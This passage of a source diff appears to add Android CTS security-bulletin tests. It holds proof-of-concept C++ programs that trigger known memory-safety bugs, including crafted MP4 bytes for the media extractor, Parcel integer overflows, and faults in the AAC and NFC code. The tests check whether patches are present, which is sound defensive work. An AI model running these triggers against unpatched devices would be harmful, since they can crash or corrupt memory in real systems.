+    /* Following code exposes vulnerability                              */
+    /*********************************************************************/
+    Vector<Buffer> newInputBuffers;
+    Vector<Buffer> newOutputBuffers;
+    /* Get OMX input port parameters, change settings and set output port*/
+    /* port parameters                                                   */
+    memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+    omxUtilsGetParameter(OMX_UTILS_IP_PORT, params);
+    params->nBufferSize = 38016;
+    params->format.video.nFrameWidth = 2000;
+    params->format.video.nFrameHeight = 2000;
+    omxUtilsSetParameter(OMX_UTILS_IP_PORT, params);
+    /* Allocated input buffers and register with OMX component           */
+    allocateHidlPortBuffers(OMX_UTILS_IP_PORT, &newInputBuffers);
+    /* Allocated output buffers and register with OMX component          */
+    allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &newOutputBuffers);
+    /* Do OMX State chage to Idle                                        */
+    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+    /* Do OMX State chage to Executing                                   */
+    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);
+    /* Empty input buffers and fill output buffers                       */
+    OMXBuffer newOmxIpBuf(graphicbuffer);
+    omxUtilsEmptyBuffer(newInputBuffers[0].mID, newOmxIpBuf, 0, 0, -1);
+    OMXBuffer newOmxOpBuf(0, opBufferSize);
+    omxUtilsFillBuffer(newOutputBuffers[0].mID, newOmxOpBuf, -1);
+    /* Do OMX State change to Idle                                         */
+    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+    /* Do OMX State change to Loaded                                       */
+    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateLoaded);
+    /* Free input and output buffers                                       */
+    for (i = 0; i < ipBufferCount; i++) {
+        omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, newInputBuffers[i].mID);
+    }
+    for (i = 0; i < opBufferCount; i++) {
+        omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, newOutputBuffers[i].mID);
+    }
+    /* Free OMX resources                                                */
+    omxUtilsFreeNode();
+
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0726/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0726/Android.bp
new file mode 100644
index 0000000..32959f2
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0726/Android.bp
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+    name: "CVE-2017-0726",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+        ":cts_hostsidetests_securitybulletin_memutils_track",
+    ],
+    include_dirs: [
+        "frameworks/av/media/libmedia/include",
+    ],
+    shared_libs: [
+        "libdatasource",
+        "libstagefright",
+        "libstagefright_foundation",
+        "libutils",
+        "liblog",
+    ],
+    cflags: [
+        "-DCHECK_MEMORY_LEAK",
+        "-DENABLE_SELECTIVE_OVERLOADING",
+    ]
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0726/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0726/poc.cpp
new file mode 100644
index 0000000..ea6935f
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0726/poc.cpp
@@ -0,0 +1,143 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include "stdlib.h"
+
+#include "../includes/memutils_track.h"
+#include <android/IMediaExtractor.h>
+#include <datasource/DataSourceFactory.h>
+#include <dlfcn.h>
+#include <media/DataSource.h>
+#include <media/IMediaHTTPService.h>
+#include <media/stagefright/DataSourceBase.h>
+#include <media/stagefright/MediaExtractor.h>
+#include <media/stagefright/MetaData.h>
+
+unsigned char mp4_data[] = {
+    0x00, 0x00, 0x00, 0x1C, 0x66, 0x74, 0x79, 0x70, 0x6D, 0x70, 0x34, 0x32,
+    0x00, 0x00, 0x00, 0x00, 0x6D, 0x70, 0x34, 0x32, 0x64, 0x62, 0x79, 0x31,
+    0x69, 0x73, 0x6F, 0x6D, 0x00, 0x00, 0x00, 0x74, 0x6D, 0x6F, 0x6F, 0x76,
+    0x00, 0x00, 0x00, 0x6C, 0x75, 0x64, 0x74, 0x61, 0x00, 0x00, 0x00, 0x64,
+    0x6D, 0x65, 0x74, 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x58,
+    0x69, 0x6C, 0x73, 0x74, 0x00, 0x00, 0x00, 0x50, 0x2D, 0x2D, 0x2D, 0x2D,
+    0x00, 0x00, 0x00, 0x1C, 0x6D, 0x65, 0x61, 0x6E, 0x00, 0x00, 0x00, 0x00,
+    0x63, 0x6F, 0x6D, 0x2E, 0x61, 0x70, 0x70, 0x6C, 0x65, 0x2E, 0x69, 0x54,
+    0x75, 0x6E, 0x65, 0x73, 0x00, 0x00, 0x00, 0x14, 0x6E, 0x61, 0x6D, 0x65,
+    0x00, 0x00, 0x00, 0x00, 0x69, 0x54, 0x75, 0x6E, 0x53, 0x4D, 0x50, 0x42,
+    0x00, 0x08, 0x00, 0x18, 0x64, 0x61, 0x74, 0x61, 0x33, 0x32, 0x20, 0x34,
+    0x20, 0x33, 0x20, 0x32, 0x33, 0x32, 0x20, 0x34, 0x20, 0x33, 0x20, 0x32};
+
+#if _32_BIT
+#define LIBNAME "/system/lib/extractors/libmp4extractor.so"
+#define LIBNAME_APEX "/apex/com.android.media/lib/extractors/libmp4extractor.so"
+#elif _64_BIT
+#define LIBNAME "/system/lib64/extractors/libmp4extractor.so"
+#define LIBNAME_APEX                                                           \
+  "/apex/com.android.media/lib64/extractors/libmp4extractor.so"
+#endif
+
+#define TOTAL_SIZE 524432
+#define DATA_SIZE 144
+#define TRACK_SIZE (TOTAL_SIZE - DATA_SIZE + 16 + 1)
+#define TMP_FILE "/data/local/tmp/temp_cve_2017_0726"
+
+char enable_selective_overload = ENABLE_NONE;
+using namespace android;
+
+bool is_tracking_required(size_t size) { return (size == TRACK_SIZE); }
+
+int main() {
+  GetExtractorDef getDef = nullptr;
+  FILE *fp = fopen(TMP_FILE, "wb");
+  if (!fp) {
+    return EXIT_FAILURE;
+  }
+
+  char zero_array[TOTAL_SIZE - DATA_SIZE];
+  memset(zero_array, 0, (TOTAL_SIZE - DATA_SIZE) * sizeof(char));
+
+  /* Write mp4 stream */
+  fwrite(mp4_data, 1, DATA_SIZE, fp);
+
+  /* Append 0's to create custom PoC */
+  fwrite(zero_array, 1, (TOTAL_SIZE - DATA_SIZE), fp);
+  fclose(fp);
+
+  void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
+  if (!libHandle) {
+    libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
+    if (!libHandle) {
+      remove(TMP_FILE);
+      return EXIT_FAILURE;
+    }
+  }
+
+  getDef = (GetExtractorDef)dlsym(libHandle, "GETEXTRACTORDEF");
+  if (!getDef) {
+    dlclose(libHandle);
+    remove(TMP_FILE);
+    return EXIT_FAILURE;
+  }
+
+  sp<DataSource> dataSource =
+      DataSourceFactory::getInstance()->CreateFromURI(NULL, TMP_FILE);
+  if (dataSource == nullptr) {
+    dlclose(libHandle);
+    remove(TMP_FILE);
+    return EXIT_FAILURE;
+  }
+
+  void *meta = nullptr;
+  void *creator = nullptr;
+  FreeMetaFunc freeMeta = nullptr;
+  float confidence;
+  if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V1) {
+    creator = (void *)getDef().u.v2.sniff(dataSource->wrap(), &confidence,
+                                          &meta, &freeMeta);
+  } else if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V2) {
+    creator = (void *)getDef().u.v3.sniff(dataSource->wrap(), &confidence,
+                                          &meta, &freeMeta);
+  }
+  if (!creator) {
+    dlclose(libHandle);
+    remove(TMP_FILE);
+    return EXIT_FAILURE;
+  }
+
+  CMediaExtractor *ret = ((CreatorFunc)creator)(dataSource->wrap(), meta);
+  if (ret == nullptr) {
+    dlclose(libHandle);
+    remove(TMP_FILE);
+    return EXIT_FAILURE;
+  }
+
+  if (meta != nullptr && freeMeta != nullptr) {
+    freeMeta(meta);
+  }
+
+  sp<MetaData> metaData = new MetaData();
+  MediaExtractorCUnwrapper *mediaExtractorCUnwrapper =
+      new MediaExtractorCUnwrapper(ret);
+  enable_selective_overload = ENABLE_MALLOC_CHECK;
+  mediaExtractorCUnwrapper->getTrackMetaData(*metaData.get(), 0, 1);
+  enable_selective_overload = ENABLE_NONE;
+
+  remove(TMP_FILE);
+  dlclose(libHandle);
+
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2011/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2011/Android.bp
new file mode 100644
index 0000000..59d60f3
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2011/Android.bp
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+    name: "CVE-2019-2011",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+        ":cts_hostsidetests_securitybulletin_memutils",
+    ],
+    shared_libs: [
+        "libhidlbase",
+        "libcutils",
+    ],
+    cflags: [
+        "-DCHECK_OVERFLOW",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2011/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2011/poc.cpp
new file mode 100644
index 0000000..1de147c
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2011/poc.cpp
@@ -0,0 +1,50 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <hwbinder/Parcel.h>
+
+using namespace android::hardware;
+
+int main() {
+    int32_t numFds = 1;
+    int32_t numInts = 0;
+    android::status_t err = android::NO_ERROR;
+
+    native_handle_t *nativeHandleSend = native_handle_create(numFds, numInts);
+    Parcel *parcel = new Parcel();
+    err = parcel->writeNativeHandleNoDup(nativeHandleSend);
+    if (err != android::NO_ERROR) {
+        return EXIT_FAILURE;
+    }
+    parcel->setDataPosition(0);
+
+    nativeHandleSend->numInts = 1024;
+
+    const native_handle_t *nativeHandleReceive = nullptr;
+    err = parcel->readNativeHandleNoDup(&nativeHandleReceive);
+    if (err == android::NO_ERROR) {
+        native_handle_t *tempHandle = const_cast<native_handle_t *>(nativeHandleReceive);
+        for (numInts = nativeHandleReceive->numFds; numInts < nativeHandleReceive->numInts;
+             ++numInts) {
+            ++tempHandle->data[numInts];
+        }
+    }
+
+    // The fix is to validate the nativeHandle size and return an error. Hence
+    // if control reaches here, the patch is present. Return EXIT_SUCCESS
+    delete parcel;
+    native_handle_delete(nativeHandleSend);
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2135/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2135/Android.bp
new file mode 100644
index 0000000..1166510
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2135/Android.bp
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+cc_test {
+    name: "CVE_2019_2135",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+        ":cts_hostsidetests_securitybulletin_memutils",
+    ],
+    cflags: [
+        "-DCHECK_OVERFLOW",
+    ],
+    compile_multilib: "64",
+    include_dirs: [
+        "system/nfc/src/nfc/include/",
+        "system/nfc/src/nfa/include/",
+        "system/nfc/src/gki/common/",
+        "system/nfc/src/include/",
+        "system/nfc/src/gki/ulinux/",
+        "packages/apps/Nfc/nci/jni/extns/pn54x/src/common/",
+        "packages/apps/Nfc/nci/jni/extns/pn54x/inc/",
+    ],
+    shared_libs: [
+        "libnfc_nci_jni",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2135/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2135/poc.cpp
new file mode 100644
index 0000000..582ddb8
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2135/poc.cpp
@@ -0,0 +1,40 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <nfa_api.h>
+#include <nfc_api.h>
+#include <phNfcTypes.h>
+#include <phNxpExtns.h>
+
+static void nfaMockDMCallback(uint8_t, tNFA_DM_CBACK_DATA *) {}
+static void nfaMockCCallback(uint8_t, tNFA_CONN_EVT_DATA *) {}
+
+int main(void) {
+  if (EXTNS_Init(nfaMockDMCallback, nfaMockCCallback) != NFCSTATUS_SUCCESS) {
+    return EXIT_FAILURE;
+  }
+  const int32_t size = 16;
+  const int32_t offset = size - 1;
+  uint8_t *p_data = static_cast<uint8_t *>(malloc(size));
+  if (p_data == nullptr) {
+    return EXIT_FAILURE;
+  }
+  p_data[offset] = 0x60;
+  EXTNS_MfcTransceive(&p_data[offset], 1);
+  free(p_data);
+  EXTNS_Close();
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2136/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2136/Android.bp
new file mode 100644
index 0000000..7482be3
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2136/Android.bp
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+    name: "CVE-2019-2136",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+    ],
+    shared_libs: [
+        "libbinder",
+        "libutils",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2136/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2136/poc.cpp
new file mode 100644
index 0000000..c4d9a79
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2136/poc.cpp
@@ -0,0 +1,41 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <binder/Parcel.h>
+#include <binder/Status.h>
+
+using namespace android;
+using ::android::binder::Status;
+
+int main(void) {
+    Parcel parcel;
+    parcel.writeInt32(Status::EX_HAS_REPLY_HEADER);
+    /** Vulerable Code: const int32_t header_start = parcel.dataPosition();
+                        parcel.setDataPosition(header_start + header_size);
+    Hence header_start is 4 [sizeof(int32_t)] as we have written
+    Status::EX_HAS_REPLY_HEADER. header_start + header_size computation will
+    overflow if header_size > INT32_MAX - sizeof(int32_t).
+    */
+    parcel.writeInt32(INT32_MAX - sizeof(int32_t));
+    parcel.setDataPosition(0);
+    Status status;
+    status.readFromParcel(parcel);
+    /** If vulnerability is present, the parcel's data position would be very
+        large. Hence any write to the parcel will trigger a SIGSEGV else the
+        write would pass.
+    */
+    parcel.writeInt32(0);
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9247/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9247/Android.bp
new file mode 100644
index 0000000..e989f4c
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9247/Android.bp
@@ -0,0 +1,34 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+    name: "CVE-2019-9247",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+    ],
+    include_dirs: [
+        "external/aac/libMpegTPDec/include/",
+        "external/aac/libMpegTPDec/src/",
+        "external/aac/libSYS/include/",
+        "external/aac/libFDK/include/",
+        "cts/hostsidetests/securitybulletin/securityPatch/includes/",
+    ],
+    shared_libs: [
+        "libbluetooth",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9247/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9247/poc.cpp
new file mode 100644
index 0000000..aed7662
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9247/poc.cpp
@@ -0,0 +1,95 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <iostream>
+#include <unistd.h>
+#include <dlfcn.h>
+#include <common.h>
+
+#include "tpdec_lib.h"
+
+#define STACK_SIZE 16384
+#define SIZE_OF_VULNERABLE_MEMORY 1024
+#define TRANSPORTDEC_SIZE 5684
+#define INITIAL_VAL 0xBE
+#define TIMEOUT_IN_SECONDS 540
+
+const UINT length = 200;
+UCHAR conf[length] = { 0 };
+UINT layer = 0;
+bool isVulnerable = false;
+bool isPocExecutionComplete = false;
+
+static void* (*real_memcpy)(void*, const void*, size_t) = nullptr;
+static bool s_memory_copy_initialized = false;
+
+int poc(void *sTp) {
+    transportDec_OutOfBandConfig((struct TRANSPORTDEC *) sTp, conf, length,
+                                 layer);
+    isPocExecutionComplete = true;
+    return EXIT_SUCCESS;
+}
+
+void memory_copy_init(void) {
+    real_memcpy = (void *(*)(void *, const void *,
+                             size_t))dlsym(RTLD_NEXT, "memcpy");
+    if (!real_memcpy) {
+        return;
+    }
+    s_memory_copy_initialized = true;
+}
+
+void* memcpy(void* destination, const void* source, size_t num) {
+    if (!s_memory_copy_initialized) {
+        memory_copy_init();
+    }
+    if (num == length) {
+        char *tmp_destination = (char*) destination;
+        for (int i = 0; i < SIZE_OF_VULNERABLE_MEMORY; ++i) {
+            if (tmp_destination[i] == INITIAL_VAL) {
+                isVulnerable = true;
+                break;
+            }
+        }
+    }
+    return real_memcpy(destination, source, num);
+}
+
+int main() {
+    void *sTp = malloc(TRANSPORTDEC_SIZE);
+    if (!sTp) {
+        return EXIT_FAILURE;
+    }
+    char *ptr = (char *) malloc(STACK_SIZE);
+    if (!ptr) {
+        free(sTp);
+        return EXIT_FAILURE;
+    }
+    memset(sTp, 0x00, TRANSPORTDEC_SIZE);
+    memset(ptr, INITIAL_VAL, STACK_SIZE);
+    clone(&poc, ptr + STACK_SIZE, CLONE_VM, sTp);
+    int sleepCounter = 0;
+    while (!isPocExecutionComplete) {
+        if (sleepCounter == TIMEOUT_IN_SECONDS) {
+            break;
+        }
+        sleep(1);
+        ++sleepCounter;
+    }
+    free(ptr);
+    free(sTp);
+    return (isVulnerable ? EXIT_VULNERABLE : EXIT_SUCCESS);
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9313/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9313/Android.bp
index 0e9fbdd..06e37ec 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9313/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9313/Android.bp
@@ -34,7 +34,7 @@
     ],
 
     header_libs: [
-        "libstagefright_mp3dec",
+        "libstagefright_mp3dec_headers",
     ],
 
     shared_libs: [
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0037/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0037/Android.bp
new file mode 100644
index 0000000..d6adf3c
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0037/Android.bp
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+    name: "CVE-2020-0037",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+        ":cts_hostsidetests_securitybulletin_memutils",
+    ],
+    cflags: [
+        "-DCHECK_OVERFLOW",
+        "-DENABLE_SELECTIVE_OVERLOADING",
+    ],
+    compile_multilib: "64",
+    include_dirs: [
+        "system/nfc/src/nfc/include/",
+        "system/nfc/src/include/",
+        "system/nfc/src/gki/common/",
+        "system/nfc/src/gki/ulinux/",
+        "system/nfc/src/nfa/include/",
+    ],
+    shared_libs: [
+        "libnfc-nci",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0037/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0037/poc.cpp
new file mode 100644
index 0000000..766ee03
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0037/poc.cpp
@@ -0,0 +1,147 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+char enable_selective_overload = ENABLE_NONE;
+
+#include <dlfcn.h>
+#include <nfc_api.h>
+#include <nfc_int.h>
+#include <rw_int.h>
+#include <tags_defs.h>
+
+// borrowed from rw_i93.cc
+extern tRW_CB rw_cb;
+extern tNFC_CB nfc_cb;
+void rw_init(void);
+tNFC_STATUS rw_i93_select(uint8_t *p_uid);
+
+bool kIsInitialized = false;
+
+// borrowed from rw_i93.cc
+enum {
+  RW_I93_STATE_NOT_ACTIVATED, /* ISO15693 is not activated            */
+  RW_I93_STATE_IDLE,          /* waiting for upper layer API          */
+  RW_I93_STATE_BUSY,          /* waiting for response from tag        */
+
+  RW_I93_STATE_DETECT_NDEF,   /* performing NDEF detection precedure  */
+  RW_I93_STATE_READ_NDEF,     /* performing read NDEF procedure       */
+  RW_I93_STATE_UPDATE_NDEF,   /* performing update NDEF procedure     */
+  RW_I93_STATE_FORMAT,        /* performing format procedure          */
+  RW_I93_STATE_SET_READ_ONLY, /* performing set read-only procedure   */
+
+  RW_I93_STATE_PRESENCE_CHECK /* checking presence of tag             */
+};
+
+// borrowed from rw_i93.cc
+enum {
+  RW_I93_SUBSTATE_WAIT_UID,          /* waiting for response of inventory    */
+  RW_I93_SUBSTATE_WAIT_SYS_INFO,     /* waiting for response of get sys info */
+  RW_I93_SUBSTATE_WAIT_CC,           /* waiting for reading CC               */
+  RW_I93_SUBSTATE_SEARCH_NDEF_TLV,   /* searching NDEF TLV                   */
+  RW_I93_SUBSTATE_CHECK_LOCK_STATUS, /* check if any NDEF TLV is locked      */
+
+  RW_I93_SUBSTATE_RESET_LEN,  /* set length to 0 to update NDEF TLV   */
+  RW_I93_SUBSTATE_WRITE_NDEF, /* writing NDEF and Terminator TLV      */
+  RW_I93_SUBSTATE_UPDATE_LEN, /* set length into NDEF TLV             */
+
+  RW_I93_SUBSTATE_WAIT_RESET_DSFID_AFI, /* reset DSFID and AFI */
+  RW_I93_SUBSTATE_CHECK_READ_ONLY,   /* check if any block is locked         */
+  RW_I93_SUBSTATE_WRITE_CC_NDEF_TLV, /* write CC and empty NDEF/Terminator TLV
+                                      */
+
+  RW_I93_SUBSTATE_WAIT_UPDATE_CC, /* updating CC as read-only             */
+  RW_I93_SUBSTATE_LOCK_NDEF_TLV,  /* lock blocks of NDEF TLV              */
+  RW_I93_SUBSTATE_WAIT_LOCK_CC    /* lock block of CC                     */
+};
+
+static void *(*real_GKI_getbuf)(uint16_t size) = nullptr;
+static void (*real_GKI_freebuf)(void *ptr) = nullptr;
+
+void init(void) {
+  real_GKI_getbuf = (void *(*)(uint16_t))dlsym(RTLD_NEXT, "_Z10GKI_getbuft");
+  if (!real_GKI_getbuf) {
+    return;
+  }
+
+  real_GKI_freebuf = (void (*)(void *))dlsym(RTLD_NEXT, "_Z11GKI_freebufPv");
+  if (!real_GKI_freebuf) {
+    return;
+  }
+
+  kIsInitialized = true;
+}
+
+void *GKI_getbuf(uint16_t size) {
+  if (!kIsInitialized) {
+    init();
+  }
+  return malloc(size);
+}
+
+void GKI_freebuf(void *ptr) {
+  if (!kIsInitialized) {
+    init();
+  }
+  free(ptr);
+}
+
+int main() {
+  tRW_I93_CB *p_i93 = &rw_cb.tcb.i93;
+
+  GKI_init();
+  rw_init();
+
+  uint8_t p_uid = 1;
+  if (rw_i93_select(&p_uid) != NFC_STATUS_OK) {
+    return EXIT_FAILURE;
+  }
+
+  tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
+  nfc_cb.quick_timer_queue.p_first = (TIMER_LIST_ENT *)malloc(16);
+  tNFC_CONN_EVT event = NFC_DATA_CEVT;
+  p_i93->state = RW_I93_STATE_SET_READ_ONLY;
+  p_i93->sub_state = RW_I93_SUBSTATE_WAIT_CC;
+  p_i93->block_size = 255;
+
+  enable_selective_overload = ENABLE_ALL;
+  tNFC_CONN *p_data = (tNFC_CONN *)malloc(sizeof(tNFC_CONN));
+  if (!p_data) {
+    free(nfc_cb.quick_timer_queue.p_first);
+    return EXIT_FAILURE;
+  }
+
